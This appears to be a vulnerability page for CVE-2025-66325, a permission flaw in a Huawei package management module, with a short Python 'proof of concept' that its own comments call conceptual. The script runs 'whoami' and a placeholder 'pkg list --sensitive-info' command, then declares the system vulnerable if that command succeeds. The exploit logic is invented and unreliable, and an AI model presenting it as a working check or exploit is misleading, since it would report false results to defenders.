CVE-2025-66325 华为包管理模块权限控制漏洞

// CVE-2025-66325 PoC - Permission Control Bypass in Package Management Module // Note: This is a conceptual PoC based on the vulnerability description // Actual exploitation requires local access to the target system import subprocess import sys def check_vulnerability(): """ Check if the target system is vulnerable to CVE-2025-66325 This PoC demonstrates the permission control issue in package management """ print("[*] CVE-2025-66325 Vulnerability Checker") print("[*] Target: Huawei Package Management Module") print("[*] Vulnerability: Permission Control Bypass") # Check if running with low privileges current_user = subprocess.check_output(['whoami'], text=True).strip() print(f"[+] Current user: {current_user}") # Attempt to access package management functions # that should require elevated privileges try: # This simulates the permission bypass attempt # In real scenario, this would interact with the vulnerable component result = subprocess.check_output( ['pkg', 'list', '--sensitive-info'], stderr=subprocess.STDOUT, timeout=5 ) print("[!] Vulnerable: Successfully accessed restricted package information") print(f"[+] Retrieved data: {result}") return True except subprocess.CalledProcessError as e: print(f"[-] Not vulnerable or access denied: {e}") return False except FileNotFoundError: print("[-] Package management tool not found") return False if __name__ == "__main__": check_vulnerability()